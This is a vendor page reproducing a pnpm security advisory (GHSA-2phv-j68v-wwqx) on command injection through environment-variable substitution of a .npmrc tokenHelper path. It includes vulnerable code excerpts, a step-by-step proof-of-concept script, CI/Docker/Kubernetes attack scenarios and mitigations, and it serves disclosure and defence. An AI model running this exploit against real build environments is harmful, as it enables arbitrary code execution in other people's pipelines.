Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-2phv-j68v-wwqx

pnpm vulnerable to Command Injection via environment variable substitution
Back to all
CVE

GHSA-2phv-j68v-wwqx

pnpm vulnerable to Command Injection via environment variable substitution

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • Filepnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • Filepnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

  1. Environment Variable Substitution
  • .npmrc supports ${VAR} syntax
  • Substitution occurs in readLocalConfig()
  1. loadToken Execution
  • Uses spawnSync(helperPath, { shell: true })
  • Only validates absolute path existence
  1. Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem

PoC Steps

## 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
## 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
## 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
## 4. Trigger pnpm install
pnpm install  # RCE occurs during auth
## 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

  • CVSS Score: 7.6 (High)
  • CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

  • CI/CD pipelines (GitHub Actions, GitLab CI)
  • Docker build environments
  • Kubernetes deployments
  • Private registry users

Low Risk:

  • Public registry only
  • Production runtime (no pnpm execution)
  • Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

## .npmrc
## registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

  • Review CI/CD env vars
  • Restrict .npmrc changes
  • Monitor build logs

Recommended Fixes

  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing

Disclosure

  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]

References

  • Repository: https://github.com/pnpm/pnpm
  • Affected: @pnpm/config.env-replace@^3.0.2
  • Similar: CVE-2024-53866, CVE-2023-37478

Credit

Reported by: Jiyong Yang

Contact: sy2n0@naver.com

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
7.5
-
3.1
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
C
H
U
7.6
-
3.1
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx, https://nvd.nist.gov/vuln/detail/CVE-2025-69262, https://github.com/pnpm/pnpm, https://github.com/pnpm/pnpm/releases/tag/v10.27.0

Severity

7.5

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
7.5
EPSS Probability
0.00109%
EPSS Percentile
0.29884%
Introduced Version
6.25.0,1.0.0,1.1.0
Fix Available
10.27.0,3.0.2

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading